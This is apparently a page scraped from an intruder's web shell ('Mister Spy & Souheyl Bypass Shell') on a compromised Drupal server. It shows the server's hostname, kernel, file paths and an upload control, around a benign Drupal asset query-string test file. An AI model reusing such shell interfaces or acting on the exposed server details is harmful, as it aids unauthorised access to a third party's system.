Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/stolberg/web/core/tests/Drupal/KernelTests/Core/Asset/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/stolberg/web/core/tests/Drupal/KernelTests/Core/Asset/AssetQueryStringTest.php

<?php

declare(strict_types=1);

namespace Drupal\KernelTests\Core\Asset;

use Drupal\Component\Datetime\TimeInterface;
use Drupal\Core\Asset\AssetQueryString;
use Drupal\KernelTests\KernelTestBase;

/**
 * Tests the asset query string functionality.
 *
 * @group Asset
 * @coversDefaultClass \Drupal\Core\Asset\AssetQueryString
 */
class AssetQueryStringTest extends KernelTestBase {

  /**
   * @covers ::get
   * @covers ::reset
   */
  public function testResetGet(): void {
    $state = $this->container->get('state');
    // Return a fixed timestamp.
    $time = $this->createStub(TimeInterface::class);
    $time->method('getRequestTime')
      ->willReturn(1683246590);

    $queryString = new AssetQueryString($state, $time);

    $queryString->reset();
    $value = $queryString->get();

    $this->assertEquals('ru5tdq', $value);
  }

}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net